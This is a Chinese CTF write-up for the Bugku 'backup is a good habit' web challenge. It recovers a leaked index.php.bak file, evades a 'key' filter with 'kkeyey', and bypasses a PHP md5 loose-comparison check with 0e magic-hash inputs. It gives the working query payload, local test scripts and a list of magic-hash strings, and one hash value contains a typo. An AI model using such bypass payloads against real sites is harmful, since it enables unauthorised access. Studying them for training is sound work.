bugku 备份是个好习惯
备份是个好习惯
80
http://120.24.86.145:8002/web16/
听说备份是个好习惯
1 进入页面就是两个空字符的md5编码,查看源代码,查看元素,无果
2 用bp抓包,无果
无从下手,用御剑扫描了一下
.bak是备份文件的扩展名,访问http://120.24.86.145:8002/web16/index.php.bak
下载文件,去掉文件扩展名中的.bak,打开文件,查看源代码
分析源代码:
11行strstr获得URI从'?'往后(包括'?')的字符串,12行去掉'?',13行把字符串中的'key'替换为空,可以使用类似这样的语句:kkeyey 处理,14行parse_str把字符串解析到变量中。最后需要得到key1,key2不相等而二者md5相等,可以利用php弱类型比较绕过,具体原理可以看这里:
https://*.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
构造payload:?kkeyey1=QNKCDZO&kkeyey2=240610708
new1.php:
<?php
$key1=$_GET['key1'];
$key2=$_GET['key2'];
if(md5($key1)==md5($key2))
echo 'md5equal'.' '.md5($key1).' '.md5($key2);
if($key1==$key2)
echo '==equal';
if($key1===$key2)
echo '===equal';
?>
http://localhost/test/new1.php?key1=QNKCDZO&key2=240610708
返回结果:
md5equal 0e830400451993494058024219903391 0e462097431906509019562988736854
php判断md5相等(==)的,md5('QNKCDZO')为0e830400451993494058024219903391,md5('240610708')为0e4620974319065090195629887368540,但md5('QNKCDZO')==md5('240610708')却返回true,
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
http://localhost/test/new1.php?key1=608E-4234&key2=272E-3063
返回结果:
==equal
由返回结果知md5('608E-4234')==md5('272E-3063')返回false,但'608E-4234'==''272E-3063'返回true
new1.php:
<?php
$key1=$_GET['key1'];
$key2=$_GET['key2'];
if(md5($key1)==md5($key2))
echo 'md5equal'.' '.md5($key1).' '.md5($key2);
if($key1==$key2)
echo '==equal'.' '.md5($key1).'***';
if($key1===$key2)
echo '===equal';
if(608E-4234==272E-3063)
echo '1'.'*';
if('608E-4234'=='272E-3063')
echo '2'.'*';
if("608E-4234"=="272E-3063")
echo '3'.'*';
if(md5('608E-4234')==md5("608E-4234"))
echo '5'.'*';
echo md5(608E-4234).'****';
echo md5("608E-4234")
?>
http://localhost/test/new1.php?key1=608E-4234&key2=272E-3063
返回结果:
==equal f42466941e8edf94e286d0207b571162***1*2*3*5*cfcd208495d565ef66e7dff9f98764da****f42466941e8edf94e286d0207b571162
所以md5($key1)=md5('608E-4234')
参考:https://*.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
https://*.com/questions/12598407/php-expresses-two-different-strings-to-be-the-same
https://*.com/questions/80646/how-do-the-php-equality-double-equals-and-identity-triple-equals-comp
上一篇: 命令行WordPress
下一篇: 备份是个好习惯